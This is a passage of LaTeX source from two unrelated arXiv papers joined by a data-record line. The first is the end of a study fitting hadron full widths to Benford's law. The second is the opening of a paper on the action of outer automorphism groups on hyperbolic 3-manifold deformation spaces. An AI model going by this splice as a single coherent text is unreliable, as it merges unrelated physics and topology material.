left row for mesons, the right row for baryons for Case 1 to Case 3
from the top down.
\begin{table}
\tbl{The first digit distribution of the full widths of mesons.}
{\begin{tabular}{c||cl|cl|cl}
\hline
{\bf First Digit} & \multicolumn{2}{c|}{\bf Case 1 (88)}&
\multicolumn{2}{c|}{\bf Case 2 (91)} &\multicolumn{2}{c}{\bf Case 3 (96)}\\
\hline
1 & 24 &(26.5$\pm$4.3) & 25 &(27.4$\pm$4.4) & 25 &(28.9$\pm$4.5)\\
2 & 22 &(15.5$\pm$3.6) & 22 &(16.0$\pm$3.6) & 22 &(16.9$\pm$3.7)\\
3 & 11 &(11.0$\pm$3.1) & 11 &(11.4$\pm$3.2) & 12 &(12.0$\pm$3.2)\\
4 & 9 & (8.5$\pm$2.8) & 11 &(8.8$\pm$2.8) & 12 &(9.3$\pm$2.9) \\
5 & 5 & (7.0$\pm$2.5) & 5 &(7.2$\pm$2.6) & 7 &(7.6$\pm$2.6) \\
6 & 2 & (5.9$\pm$2.3) & 2 &(6.1$\pm$2.4) & 2 &(6.4$\pm$2.4) \\
7 & 5 & (5.1$\pm$2.2) & 5 &(5.3$\pm$2.2) & 5 &(5.6$\pm$2.3) \\
8 & 6 & (4.5$\pm$2.1) & 6 &(4.7$\pm$2.1) & 6 &(4.9$\pm$2.2) \\
9 & 4 & (4.0$\pm$2.0) & 4 &(4.2$\pm$2.0) & 5 &(4.4$\pm$2.0) \\
{\bf Pearson} $\mathbf{\chi^2}$ & \multicolumn{2}{c|}{\bf 6.62}
& \multicolumn{2}{c|}{\bf 6.82} & \multicolumn{2}{c}{\bf 6.32}\\
\hline
\end{tabular}\label{meson}}
\end{table}
\begin{table}
\tbl{The first digit distribution of the full widths of baryons.}
{\begin{tabular}{c||cl|cl|cl}
\hline
{\bf First Digit} & \multicolumn{2}{c|}{\bf Case 1 (65)} &
\multicolumn{2}{c|}{\bf Case 2 (72)} &\multicolumn{2}{c}{\bf Case 3 (81)}\\
\hline
1 & 21 &(19.6$\pm$3.7) & 22 &(21.7$\pm$3.9) & 23 &(24.4$\pm$4.1)\\
2 & 11 &(11.4$\pm$3.1) & 12 &(12.7$\pm$3.2) & 13 &(14.3$\pm$3.4)\\
3 & 9 &(8.1$\pm$2.7) & 11 &(9.0$\pm$2.8) & 14 &(10.1$\pm$3.0)\\
4 & 6 & (6.3$\pm$2.4) & 6 &(7.0$\pm$2.5) & 6 &(7.8$\pm$2.7) \\
5 & 6 & (5.1$\pm$2.2) & 7 &(5.7$\pm$2.3) & 8 &(6.4$\pm$2.4) \\
6 & 4 & (4.4$\pm$2.0) & 5 &(4.8$\pm$2.1) & 6 &(5.4$\pm$2.2) \\
7 & 1 & (3.8$\pm$1.9) & 1 &(4.2$\pm$2.0) & 2 &(4.7$\pm$2.1) \\
8 & 4 & (3.3$\pm$1.8) & 4 &(3.7$\pm$1.9) & 4 &(4.1$\pm$2.0) \\
9 & 3 & (3.0$\pm$1.7) & 4 &(3.3$\pm$1.8) & 5 &(3.7$\pm$1.9) \\
{\bf Pearson} $\mathbf{\chi^2}$ & \multicolumn{2}{c|}{\bf 2.57}
& \multicolumn{2}{c|}{\bf 3.52} & \multicolumn{2}{c}{\bf 4.57}\\
\hline
\end{tabular}\label{baryon}}
\end{table}
\begin{figure}
\begin{center}
\scalebox{1.2}{\includegraphics{layout.eps}}\caption{Comparisons of
Benford's law and the distribution of the first digit of the full
widths of mesons (left) and baryons (right).}\label{layout}
\end{center}
\end{figure}
It is worthy to mention that, when estimating the fitness to the
theoretical probability distribution, we should use fitness
estimating $\chi^2$, namely Pearson $\chi^2$,
\begin{equation}\label{pearson}
\chi^2(n-1) = \sum_{i=1}^{n} \frac{(N_{\rm Obs} - N_{\rm
Ben})^2}{N_{\rm Ben}}
\end{equation}
where $N_{\rm Obs}$ is the observational number and $N_{\rm Ben}$ is
the theoretical number from Benford's law, and here in our question
$n=9$. However, it is not appropriate to use parameter estimating
$\chi^2$ as used in Refs.~\refcite{buck1993,ni2008}. In
Eq.~(\ref{pearson}), the degree of freedom is $9-1=8$, and under the
confidence level 95\%, $\chi^2(8) = 15.507$, and under the
confidence level 50\%, $\chi^2(8) = 7.344$. The $\chi^2$ we
calculated is smaller than those in Refs.~\refcite{buck1993,ni2008},
indicating clearly that the fitness is remarkably good in particle
physics.
The classification from Case 1 to Case 3 is due to the
incompleteness and uncertainty of experimental data, however, we do
our best to treat data without bias. Since we only deal with the
full widths of hadrons, we ignore the $e^+ e^-$ width $\Gamma_{\rm
ee}$ and we do not distinguish the difference between the full width
and the Breit-Wigner full width given in the baryon summary table.
When the summary tables give only the lifetime $\tau$ instead of the
full width $\Gamma$, we use $\Gamma\times\tau=\hbar$ to get the
corresponding full width. And we drop the single-side data, e.g.,
$\Gamma < 1.9$~MeV for $\Lambda_c(2625)^+$, while we still keep the
double-side data and pick the mean value of the boundaries, for
instance, given 200 to 500~MeV for ${\rm f}_0(1370)$, we treat it as
$\Gamma=350$~MeV, and when given the most likely values in these
two-boundary cases, we chose them for simplicity. But there still
remain some puzzled data due to the isospin problem. For most
hadrons of the same isospin $I$, there are several types of
particles due to the different isospin projection $I_3$, and the
summary table separates some while it does not distinguish between
others definitely, however, the same isospin does not always promise
the same lifetime hence the same full width. For the stringency of
our approach, we use the following three schemes to deal with the
data:
\begin{itemlist}
\item In Case 1, we just drop out the puzzled data;
\item In Case 2, we
faithfully follow the classification published in the particle table
and treat each item as a whole, and when there are several full
widths appearing under one item, we pick the mean value and only
count for once;
\item And in Case 3, we stick to the appearance of the
data, that is, when there is a datum, we count it for once.
\end{itemlist}
\begin{table}
\tbl{The first digit distribution of the full widths of hadrons.}
{\begin{tabular}{c||cl|cl|cl}
\hline
{\bf First Digit} & \multicolumn{2}{c|}{\bf Case 1 (153)}&
\multicolumn{2}{c|}{\bf Case 2 (163)} &\multicolumn{2}{c}{\bf Case 3 (177)}\\
\hline
1 & 45 &(46.1$\pm$5.7) & 47 &(49.1$\pm$5.9) & 48 &(53.3$\pm$6.1)\\
2 & 33 &(26.9$\pm$4.7) & 34 &(28.7$\pm$4.9) & 35 &(31.2$\pm$5.1)\\
3 & 20 &(19.1$\pm$4.1) & 22 &(20.4$\pm$4.2) & 26 &(22.1$\pm$4.4)\\
4 & 15 &(14.8$\pm$3.7) & 17 &(15.8$\pm$3.8) & 18 &(17.2$\pm$3.9)\\
5 & 11 &(12.1$\pm$3.3) & 12 &(12.9$\pm$3.4) & 15 &(14.0$\pm$3.6)\\
6 & 6 &(10.2$\pm$3.1) & 7 &(10.9$\pm$3.2) & 8 &(11.8$\pm$3.3)\\
7 & 6 &(8.9$\pm$2.9) & 6 &(9.5$\pm$3.0) & 7 &(10.3$\pm$3.1)\\
8 & 10 &(7.8$\pm$2.7) & 10 &(8.3$\pm$2.8) & 10 &(9.1$\pm$2.9) \\
9 & 7 &(7.0$\pm$2.6) & 8 &(7.5$\pm$2.7) & 10 &(8.1$\pm$2.8) \\
{\bf Pearson} $\mathbf{\chi^2}$ & \multicolumn{2}{c|}{\bf 4.82}
& \multicolumn{2}{c|}{\bf 4.39} & \multicolumn{2}{c}{\bf 4.62}\\
\hline
\end{tabular}\label{hadron}}
\end{table}
Though the fitness is so impressive, we still feel short of data.
Consequently, we add mesons and baryons up to get the distribution
of hadrons. The results are shown in Table~\ref{hadron} numerically,
and in Fig.~\ref{ghadronwithout}, Fig.~\ref{ghadronaverage} and
Fig.~\ref{ghadronwithall} graphically. They all appear remarkably
good.
\begin{figure}
\begin{center}
\scalebox{0.5}{\includegraphics{ghadronwithout.eps}}\caption{
Comparison of Benford's law and the first digit distribution of the
full widths of hadrons in Case 1.}\label{ghadronwithout}
\scalebox{0.5}{\includegraphics{ghadronaverage.eps}}\caption{
Comparison of Benford's law and the first digit distribution of the
full widths of hadrons in Case 2.}\label{ghadronaverage}
\scalebox{0.5}{\includegraphics{ghadronwithall.eps}}\caption{
Comparison of Benford's law and the first digit distribution of the
full widths of hadrons in Case 3.}\label{ghadronwithall}
\end{center}
\end{figure}
Many attempts have been tried to explain the underlying reason for
Benford's law. For theoretical reviews, see Ref.~\refcite{raimi1976}
and papers written by
Hill\cite{hill1995at102,hill1995at123,hill1995at10}. We here present
some discussions on the first digit law, focusing on its several
general properties.
Firstly, a positive date set can be rewritten in the form of \{$10^{
n_i + f_i }$\}, where $n_i$ is an integer not affecting the first
digit, and $f_i$ ($0 \leq f_i < 1$) is the fractional part which
contributes to the question. As suggested and derived by
Newcomb\cite{newcomb1881}, a uniform distribution of the fractional
part $f_i$ of the exponent in the interval $[0,1)$ leads to the
logarithmic law.
Secondly, as can be expected, multiplication of a constant upon the
data set does not change the probability distribution, the reason of
which is that the exponent of new datum $N^\prime$ satisfies
\begin{equation}\label{scale}
\log_{10} N^\prime = \log_{10} (C \times N) = \log_{10}C + \log_{10}
N.
\end{equation}
This property means that the law does not depend on any particular
choice of units, namely scale-invariance\cite{pinkham1961}, which
was discovered by Pinkham in 1961. In mathematics, this law is the
only digital law that is scale-invariant.
Thirdly, any power of the data set does not change the distribution
either, i.e., the law is power-invariant. Because of $\log_{10}
N^\prime = \log_{10} N^\alpha = \alpha \log_{10} N$ for $\alpha \neq
0$, the logarithmic distribution remains unchanged according to the
first property. In our research, the full widths of hadrons fit the
logarithmic distribution, so do the lifetimes of hadrons.
Fourthly, the Benford's law is
base-invariant\cite{hill1995at102,hill1995at123,hill1995at10} too,
which means that it is independent of the base $d$ you use. In the
binary system ($d$=2), octal system ($d$=8), or other base system,
the data, as well as in the decimal system ($d$=10), all fit the
general first digit law,
\begin{equation}
P(k) = \log_{d}(1+\frac{1}{k}), \, k=1, 2, ..., {d-1}.
\end{equation}
Hill proved strictly that ``scale-invariance implies
base-invariance''\cite{hill1995at102} and ``base-invariance implies
Benford's law''\cite{hill1995at123} mathematically in the framework
of probability theory.
Fifthly, in 2001, Pietronero et al.\cite{pietronero2001} provided a
new insight, suggesting that a process or an object $N(t)$ with its
time evolution governed by multiplicative fluctuations generates
Benford's law naturally and they used stockmarket as a convictive
example. Further, they demonstrated it with the computer simulation
and got rather good result. The main idea is that $N(t + \delta t) =
r(t) \times N(t)$, where $r(t)$ is a random variable. After treating
$\log r(t)$ as a new random variable, it is a Brownian process $\log
N(t + \delta t) = \log r(t) + \log N(t)$ in the logarithmic space.
Utilizing the central limit theorem in a large sample, $\log N(t)$
becomes uniformly distributed. Thus,
\begin{equation}\label{multi}
P(k) = \frac{\int_{k}^{k+1} {\rm d} \log N(t)}{\int_{1}^{10} {\rm d}
\log N(t)} = \log_{10} (1 + \frac{1}{k}),
\end{equation}
which is exactly the formula of Benford's law given in
Eq.~(\ref{benford}). This approach is well recommended in
Refs.~\refcite{ni2008,li2004}.
In summary, we applied Benford's law to the well defined science
domain of particle physics for the first time. The distribution of
the first digits of the full widths of hadrons, including mesons and
baryons respectively, all fit the logarithmic law remarkably well.
Moreover, we discussed several general properties of the law, and
reached the conclusion that our results apply to the lifetimes of
hadrons as well. It is still a challenge to find the basic reason
for the common distribution pattern among various sorts of natural
behaviors. Our results suggest the necessity to look into some
hitherto unnoticed features of basic physical phenomena. The first
digit law can serve as a tool to test the reasonableness of any
theory or model that is supposed to be the underlaying theory of the
nature.
\section*{Acknowledgments}
This work is partially supported by National Natural Science
Foundation of China (Nos.~10721063, 10575003, 10528510), by the Key
Grant Project of Chinese Ministry of Education (No.~305001). It is
also supported by Hui-Chun Chin and Tsung-Dao Lee Chinese
Undergraduate Research Endowment (Chun-Tsung Endowment) at Peking
University, and by National Fund for Fostering Talents of Basic
Science (No.~J0630311 and No.~J0730316).
|
1,477,468,749,991 | arxiv | \section{Introduction}\label{sec:introduction}
\setcounter{section}{1}
For a compact, orientable, hyperbolizable $3$-manifold $M$ with boundary, the deformation space $AH(M)$ of marked hyperbolic 3-manifolds homotopy equivalent to $M$ is a familiar object of study.
This deformation space sits naturally inside the ${\rm PSL}_2({\bf C})$-character variety $X(M)$ and
the outer automorphism group ${\rm Out}(\pi_1(M))$ acts by homeomorphisms on both $AH(M)$ and $X(M)$. The action of ${\rm Out}(\pi_1(M))$
on $AH(M)$ and $X(M)$ has largely been studied in the case when $M$ is
an interval bundle over a closed surface
(see, for example, \cite{Bow,Gold,SS,CS}) or a handlebody
(see, for example, \cite{minsky-primitive,Tan}). In this paper, we initiate a study of
this action for general hyperbolizable 3-manifolds.
We also study the topological quotient
$$AI(M) = AH(M) / {\rm Out}(\pi_1(M))$$
which we may think of as the moduli space of unmarked hyperbolic
3-manifolds homotopy equivalent to $M$.
The space $AH(M)$ is a rather pathological topological object itself, often
failing to even be locally connected (see Bromberg \cite{bromberg-PT} and
Magid \cite{magid}). However, since $AH(M)$ is a closed subset of an open
submanifold of the character variety, it does retain many nice topological
properties. We will see that the topology of $AI(M)$ can be significantly more
pathological.
The first hint that the dynamics of ${\rm Out}(\pi_1(M))$ on $AH(M)$ are
complicated, was Thurston's \cite{thurston2} proof that if $M$ is
homeomorphic to \hbox{$S\times I$}, then there are infinite order elements of ${\rm Out}(\pi_1(M))$
which have fixed points in $AH(M)$. (These elements are pseudo-Anosov mapping
classes.)
One may further show that $AI(S\times I)$ is not even
$T_1$, see \cite{CS} for a closely related result.
Recall that a topological space is $T_1$ if all its points are closed.
On the other hand, we show that in all other cases $AI(M)$ is $T_1$.
\begin{theorem}
\label{T1thm}
Let $M$ be a compact hyperbolizable $3$-manifold with non-abelian fundamental group. Then the moduli space $AI(M)$ is $T_1$
if and only if $M$ is not an untwisted interval bundle.
\end{theorem}
We next show that ${\rm Out}(\pi_1(M))$ does not act properly discontinuously
on $AH(M)$ if $M$ contains a primitive essential annulus.
A properly embedded annulus in $M$ is a primitive essential annulus
if it cannot be properly isotoped into the boundary of $M$ and its core
curve generates a maximal abelian subgroup of $\pi_1(M)$.
In particular, if $M$ has compressible boundary
and no toroidal boundary components, then $M$ contains a primitive essential annulus
(see Corollary \ref{cor:compressible_not_T2}).
\begin{theorem}
\label{prop:!T2}
Let $M$ be a compact hyperbolizable $3$-manifold with non-abelian
fundamental group.
If $M$ contains a primitive essential annulus then ${\rm Out}(\pi_1(M))$
does not act properly discontinuously on $AH(M)$. Moreover,
if $M$ contains a primitive essential annulus, then
$AI(M)$ is not Hausdorff.
\end{theorem}
On the other hand, if $M$ is acylindrical, i.e. has incompressible boundary and
contains no essential annuli, then ${\rm Out}(\pi_1(M))$ is finite
(see Johannson \cite[Proposition 27.1]{johannson}), so
${\rm Out}(\pi_1(M))$ acts properly discontinuously on $AH(M)$ and $X(M)$.
It is easy to see that ${\rm Out}(\pi_1(M))$ fails to act properly discontinuously
on $X(M)$ if $M$ is not acylindrical, since it will contain infinite order
elements with fixed points in $X(M)$.
If $M$ is a compact hyperbolizable 3-manifold which
is not acylindrical, but does not contain
any primitive essential annuli, then ${\rm Out}(\pi_1(M))$ is infinite. However, if, in addition,
$M$ has no toroidal boundary components, we show that
${\rm Out}(\pi_1(M))$ acts properly discontinuously on an open neighborhood of
$AH(M)$ in $X(M)$. In particular, we see that $AI(M)$ is Hausdorff
in this case.
\begin{theorem}\label{thm:intro3}
If $M$ is a compact hyperbolizable 3-manifold with no primitive
essential annuli
whose boundary has no toroidal boundary components, then there exists an open
${\rm Out}(\pi_1(M))$-invariant
neighborhood $W(M)$ of $AH(M)$ in $X(M)$ such that ${\rm Out}(\pi_1(M))$ acts properly discontinuously on $W(M)$.
In particular, $AI(M)$ is Hausdorff.
\end{theorem}
If $M$ is a compact hyperbolizable 3-manifold with no primitive
essential annuli
whose boundary has no toroidal boundary components, then ${\rm Out}(\pi_1(M))$
is virtually abelian (see the discussion in sections \ref{sec:mod}
and \ref{propdisc}). However, we note that the conclusion of
Theorem \ref{thm:intro3} relies crucially on the topology of $M$,
not just the group theory of ${\rm Out}(\pi_1(M))$. In particular, if $M$
is a compact hyperbolizable 3-manifold $M$ with incompressible
boundary, such that every component of its characteristic submanifold is a solid torus,
then ${\rm Out}(\pi_1(M))$ is always virtually abelian, but $M$ may contain
primitive essential annuli, in which case ${\rm Out}(\pi_1(M))$ does
not act properly discontinuously on $AH(M)$.
\bigskip
One may combine Theorems \ref{prop:!T2} and \ref{thm:intro3} to
completely characterize when ${\rm Out}(\pi_1(M))$ acts properly discontinuously
on $AH(M)$ in the case that $M$ has no
toroidal boundary components.
\begin{corollary}\label{thm:intro2}
Let $M$ be a compact hyperbolizable $3$-manifold with no toroidal boundary components and non-abelian fundamental group.
The group ${\rm Out}(\pi_1(M))$ acts properly discontinuously on $AH(M)$ if and only if
$M$ contains no primitive essential annuli. Moreover,
$AI(M)$ is Hausdorff if and only if $M$
contains no primitive essential annuli.
\end{corollary}
It is a consequence of the classical deformation theory of Kleinian groups
(see Bers \cite{bers-survey} or Canary-McCullough \cite[Chapter 7]{CM} for a survey of this theory)
that ${\rm Out}(\pi_1(M))$ acts properly discontinuously on the interior
${\rm int}(AH(M))$ of $AH(M)$.
If $H_n$ is the handlebody of genus $n\ge 2$, Minsky \cite{minsky-primitive} exhibited an
explicit ${\rm Out}(\pi_1(H_n))$-invariant open subset $PS(H_n)$ of $X(H_n)$ such
that ${\rm int}(AH(H_n))$ is a proper subset of $PS(H_n)$ and
${\rm Out}(\pi_1(H_n))$ acts properly discontinuously on $AH(H_n)$.
If $M$ is a compact
hyperbolizable 3-manifold with incompressible boundary and no toroidal
boundary components, which is not an interval bundle, then we find an open set $W(M)$
strictly bigger than ${\rm int}(AH(M))$ which ${\rm Out}(\pi_1(M))$ acts properly
discontinuosly on.
See Theorem \ref{Pdiscnbhd} and its proof for a more precise
description of $W(M)$. We further observe, see Lemma \ref{allofit}, that $W(M)\cap \partial AH(M)$ is
a dense open subset of $\partial AH(M)$ in this setting.
\begin{theorem}
\label{openpd}
Let $M$ be a compact hyperbolizable $3$-manifold with nonempty incompressible boundary and no toroidal boundary components, which is not an
interval bundle. Then there exists an open ${\rm Out}(\pi_1(M))$-invariant subset
$W(M)$ of $X(M)$ such that ${\rm Out}(\pi_1(M))$ acts properly discontinuously on $W(M)$
and ${\rm int}(AH(M))$ is a proper subset of $W(M)$.
\end{theorem}
It is conjectured that if $M$ is an untwisted interval bundle over a closed
surface $S$,
then ${\rm int}(AH(M))$ is the maximal open ${\rm Out}(\pi_1(M))$-invariant subset of $X(M)$ on which ${\rm Out}(\pi_1(M))$ acts properly discontinuously. One may show that no open
domain of discontinuity can intersect $\partial AH(S\times I)$ (see \cite{michelle}).
Further evidence for this
conjecture is provided by results of Bowditch \cite{Bow},
Goldman \cite{GoldMer}, Souto-Storm
\cite{SS}, Tan-Wong-Zhang \cite{Tan} and Cantat \cite{cantat}.
Michelle Lee \cite{michelle} has recently shown that if $M$ is an twisted
interval bundle over a closed surface, then there exists an open ${\rm Out}(\pi_1(M))$-invariant
subset $W$ of $X(M)$ such that ${\rm Out}(\pi_1(M))$ acts properly discontinuously on
$W$ and ${\rm int}(AH(M))$ is a proper subset of $W$. Moreover, $W$ contains
points in $\partial AH(M)$. As a corollary, she proves that if $M$ has incompressible
boundary and no toroidal boundary components, then there is open
${\rm Out}(\pi_1(M))$-invariant
subset $W$ of $X(M)$ such that ${\rm Out}(\pi_1(M))$ acts properly discontinuously on
$W$, ${\rm int}(AH(M))$ is a proper subset of $W$, and
$W\cap\partial AH(M)\ne \emptyset$ if and only if $M$ is not an untwisted interval bundle.
\bigskip\noindent
{\bf Outline of paper:} In section 2, we recall background material from topology
and hyperbolic geometry which will be used in the paper.
In section 3, we prove Theorem \ref{T1thm}. The proof
that $AI(S\times I)$ is not $T_1$ follows the arguments in
\cite[Proposition 3.1]{CS} closely.
We now sketch the proof that $AI(M)$ is $T_1$ otherwise.
In this case, let $N\in AI(M)$ and let $R$ be
a compact core for $N$. We show that $N$ is a closed point, by showing
that any convergent sequence $\{\rho_n\}$
in the pre-image of $N$ is eventually constant. For all $n$, there exists a homotopy
equivalence $h_n:M\to N$ such that $(h_n)_*=\rho_n$. If $G$ is a graph in $M$
carrying $\pi_1(M)$, then, since $\{\rho_n\}$ is convergent, we can assume that
the length of $h_n(G)$ is at most $K$, for all $n$ and some $K$. But,
we observe that $h_n(G)$ cannot lie entirely in the complement of $R$, if $R$ is
not a compression body.
In this case, each $h_n(G)$ lies in the compact neighborhood of radius $K$ of $R$, so
there are only finitely many possible homotopy classes of maps of $G$.
Thus, there are only
finitely many possibilities for $\rho_n$, so $\{\rho_n\}$ is eventually constant.
The proof in the case that $R$ is a compression body is somewhat more complicated
and uses the Covering Theorem.
In section 4, we prove Theorem \ref{prop:!T2}. Let $A$ be a primitive essential
annulus in $M$. If $\alpha$ is a core curve of $A$, then the complement $\hat M$ of
a regular neighborhood of $\alpha$ in $M$ is hyperbolizable. We consider a
geometrically finite hyperbolic manifold $\hat N$ homeomorphic to the interior of $\hat M$
and use the Hyperbolic Dehn Filling Theorem to produce a convergent
sequence $\{\rho_n\}$ in $AH(M)$ and a sequence $\{\phi_n\}$ of distinct elements of
${\rm Out}(\pi_1(M))$ such that
$\{\rho_n\circ\phi_n\}$ also converges.
Therefore, ${\rm Out}(\pi_1(M))$ does not act properly discontinuously on $AH(M)$.
Moreover, we show that $\{\rho_n\}$ projects to a sequence in $AI(M)$ with two distinct limits,
so $AI(M)$ is not Hausdorff.
In section 5 we recall basic facts about the characteristic submanifold and
the mapping class group of compact hyperbolizable 3-manifolds with incompressible
boundary and
no toroidal boundary components. We identify a finite index subgroup $J(M)$ of
${\rm Out}(\pi_1(M))$ and a projection of $J(M)$ onto the direct product of mapping class groups of
the base surfaces whose kernel $K(M)$ is the free abelian subgroup generated by Dehn twists in frontier annuli
of the characteristic submanifold.
In section 6, we organize the frontier annuli of the characteristic submanifold
into characteristic collections of annuli and describe free subgroups of $\pi_1(M)$
which register the action of the subgroup of ${\rm Out}(\pi_1(M))$ generated by
Dehn twists in the annuli in such a collection.
In section 7, we show that compact hyperbolizable 3-manifolds with compressible
boundary and no toroidal boundary components contain primitive essential annuli.
In section 8, we introduce a subset $AH_n(M)$ of $AH(M)$ which
contains all purely hyperbolic representations. We see that ${\rm int}(AH(M))$ is a
proper subset of $AH_n(M)$ and that
$AH_n(M)=AH(M)$ if $M$ does not contain any primitive essential annuli.
In section 9, we prove that if $M$ has incompressible boundary and no
toroidal boundary components, but is not an interval bundle, there is
an open neighborhood $W(M)$ of $AH_n(M)$ in $X(M)$ such that
${\rm Out}(\pi_1(M))$ preserves and acts properly discontinuously on $W(M)$.
Theorems \ref{thm:intro3} and \ref{openpd} are immediate corollaries.
We finish the outline by sketching the proof in a special case.
Let $X$ be an acylindrical, compact hyperbolizable 3-manifold
and let $A$ be an incompressible annulus in its boundary.
Let $V$ be a solid torus and let $B_1,\ldots,B_n$ be a collection
of disjoint parallel annuli in $\partial V$ whose core curves
are homotopic to the $n^{th}$ power of the core curve of $V$
where $|n|\ge 2$.
Let $M_1,\ldots, M_n$ be copies of $X$ and let $A_1,\ldots, A_n$
be copies of $A$ in $M_i$.
We form $M$ by attaching each $M_i$ to $V$ by identifying
$A_i$ and $B_i$. Then $M$ contains no primitive essential annuli,
is hyperbolizable, and ${\rm Out}(\pi_1(M))$
has a finite index subgroup $J(M)$ generated by Dehn twists about
$A_1,\ldots, A_n$. In particular,
$J(M)\cong {\bf Z}^{n-1}.$
In this case, $\{A_1,\ldots,A_n\}$ is the only characteristic collection of annuli.
We say that a group $H$ registers $J(M)$ if it is freely generated by
the core curve of $V$ and, for each $i$, a curve contained in $V\cup M_i$
which is not homotopic into $V$. So $H\cong F_{n+1}$.
There is a natural map $r_H:X(M)\to X(H)$ where $X(H)$ is the
${\rm PSL}_2({\bf C})$-character variety of the group $H$.
Notice that $J(M)$ preserves $H$ and injects into ${\rm Out}(H)$.
Let
$$\mathcal{S}_{n+1}={\rm int}(AH(H))\subset X(H)$$
denote the space of Schottky representations (i.e. representations
which are purely hyperbolic and geometrically finite.)
Since ${\rm Out}(H)$ acts properly discontinuously on $\mathcal{S}_{n+1}$,
we see that $J(M)$ acts properly discontinuously on
$$W_H=r_H^{-1}(\mathcal{S}_{n+1})$$
Let $W(M)=\bigcup W_H$ where the union is taken over all
subgroups which register $J(M)$. Notice that $W(M)$ is open
and $J(M)$ acts properly discontinuously on $W(M)$. One may use a ping
pong argument to show that $AH_n(M)\subset W(M)$, see Lemma \ref{CjSchottky}. Johannson's
Classification Theorem is used to show that $W(M)$ is invariant under
${\rm Out}(\pi_1(M))$, see Lemma \ref{controlK}. (Actually,
we define a somewhat larger set, in general, by
using the space of primitive-stable representations in place of Schottky space.)
\bigskip\noindent
{\bf Acknowledgements:} Both authors would like to thank Yair Minsky
for helpful and interesting conversations.
The second author thanks the organizers of the workshop ``Dynamics of $Aut(F_n)$-actions on representation varieties,'' held in Midreshet Sde Boker, Israel in January, 2009. We thank
Michelle Lee, Darryl McCullough and the referee for helpful comments on a preliminary version of this paper.
\section{Preliminaries}\label{sec:prelim}
As a convention, the letter $M$ will denote a compact connected oriented hyperbolizable $3$-manifold with boundary. We recall that $M$ is said to be hyperbolizable if
the interior of $M$ admits a complete hyperbolic metric.
We will use $N$ to denote a hyperbolic $3$-manifold.
All hyperbolic $3$-manifolds are assumed to be oriented, complete, and connected.
\subsection{The deformation spaces}
Recall that $\rm{PSL}_2 ({\bf C})$ is the group of orientation-preserving isometries of
${\bf H}^3$. Given a $3$-manifold $M$, a discrete, faithful representation
$\rho : \pi_1(M) \to \rm{PSL}_2 ({\bf C})$ determines a hyperbolic $3$-manifold
$N_\rho = {\bf H}^3 / \rho(\pi_1(M))$ and a homotopy equivalence
$m_\rho : M \to N_\rho$, called the marking of $N_\rho$.
We let $D(M)$ denote the set of discrete, faithful representations
of $\pi_1(M)$ into $\rm{PSL}_2({\bf C})$. The group $\rm{PSL}_2 ({\bf C})$ acts
by conjugation on $D(M)$ and we let
$$AH(M)=D(M)/\rm{PSL}_2({\bf C}).$$
Elements of $AH(M)$ are hyperbolic 3-manifolds
homotopy equivalent to $M$ equipped with (homotopy classes of) markings.
The space $AH(M)$ is a closed subset of
the character variety
$$X(M)={\rm Hom}_T(\pi_1(M), \rm{PSL}_2 ({\bf C}))//\rm{PSL}_2({\bf C}),$$
which is the Mumford quotient of the space
${\rm Hom}_T(\pi_1(M), \rm{PSL}_2 ({\bf C}))$ of representations
$\rho:\pi_1(M)\to \rm{PSL}_2 ({\bf C})$ such that $\rho(g)$ is parabolic if $g\ne id$
lies in a rank two free abelian subgroup of $\pi_1(M)$.
If $M$ has no toroidal boundary components, then
${\rm Hom}_T(\pi_1(M), \rm{PSL}_2 ({\bf C}))$ is simply ${\rm Hom}(\pi_1(M), \rm{PSL}_2 ({\bf C}))$.
Moreover, each point in $AH(M)$ is a smooth point of $X(M)$
(see Kapovich \cite[Sections 4.3 and 8.8]{Kap} and Heusener-Porti \cite{HP} for more
details on this construction).
The group $Aut(\pi_1(M))$ acts naturally on ${\rm Hom}_T(\pi_1(M), \rm{PSL}_2({\bf C}))$ via
\[ ( \phi \cdot \rho) (\gamma) := \rho (\phi^{-1} (\gamma)).\]
This descends to an action of ${\rm Out}(\pi_1(M))$ on $AH(M)$ and $X(M)$. This action is not free, and it often has complex dynamics. Nonetheless, we can define the topological quotient space
$$AI(M) = AH(M) /{\rm Out}(\pi_1(M)).$$
Elements of $AI(M)$ are naturally oriented hyperbolic 3-manifolds homotopy equivalent to
$M$ without a specified marking.
\subsection{Topological background}
A compact 3-manifold $M$ is said to have {\em incompressible boundary}
if whenever $S$ is a component of $\partial M$, the inclusion map induces an injection of
$\pi_1(S)$ into $\pi_1(M)$. In our setting, this is equivalent to $\pi_1(M)$
being freely indecomposable. A properly embedded annulus $A$ in $M$ is
said to be {\em essential} if the inclusion map induces an injection of $\pi_1(A)$
into $\pi_1(M)$ and $A$ cannot be properly homotoped into $\partial M$ (i.e.
there does not exist a homotopy of pairs of the inclusion $(A,\partial A)\to (M,\partial M)$
to a map with image in $\partial M$). An essential annulus $A$ is said to be {\em primitive} if the image of $\pi_1(A)$ in $\pi_1(M)$ is a maximal abelian subgroup.
If $M$ does not have incompressible boundary, it is said to have
{\em compressible boundary.} The fundamental examples of 3-manifolds
with compressible boundary are compression bodies.
A {\em compression body} is either a handlebody or is formed
by attaching $1$-handles to disjoint disks on the
boundary surface $R \times \{1\}$ of a 3-manifold $R\times [0,1]$ where
$R$ is a closed, but not necessarily connected, surface
(see, for example, Bonahon \cite{Bo}).
The resulting $3$-manifold $C$ (assumed to be connected) will have a single boundary component
$\partial_+ C$ intersecting $R \times \{1\}$, called the positive (or external) boundary of $C$.
If $C$ is not an untwisted interval bundle over a closed surface, then
$\partial_+C$ is the unique compressible boundary component of $C$.
Notice that the induced homomorphism
$\pi_1(\partial_+ C) \to \pi_1(C)$ is surjective. In fact, a compact irreducible 3-manifold
$M$ is a compression body if and only if there exists a component $S$ of $\partial M$
such that $\pi_1(S)\to\pi_1(M)$ is surjective.
Every compact hyperbolizable 3-manifold can be
constructed from compression bodies and manifolds with incompressible boundary.
Bonahon \cite{Bo} and McCullough-Miller \cite{mccullough-miller} showed that
there exists a neighborhood $C_M$ of
$\partial M$, called the {\em characteristic compression body},
such that each component of $C_M$ is a compression body and
each component of $\partial C_M-\partial M$ is incompressible in $M$.
Dehn filling will play a key role in the proof of Theorem \ref{prop:!T2}.
Let $F$ be a toroidal boundary component of compact 3-manifold $M$
and let $(m,l)$ be a choice of meridian and longitude for $F$.
Given a pair $(p,q)$ of relatively
prime integers, we may form a new manifold $M(p,q)$ by attaching a solid torus $V$
to $M$ by an orientation-reversing homeomorphism $g\colon\, \partial V \to F$
so that, if $c$ is the meridian of $V$, then $g(c)$ is a $(p,q)$
curve on $F$ with respect to the chosen meridian-longitude system.
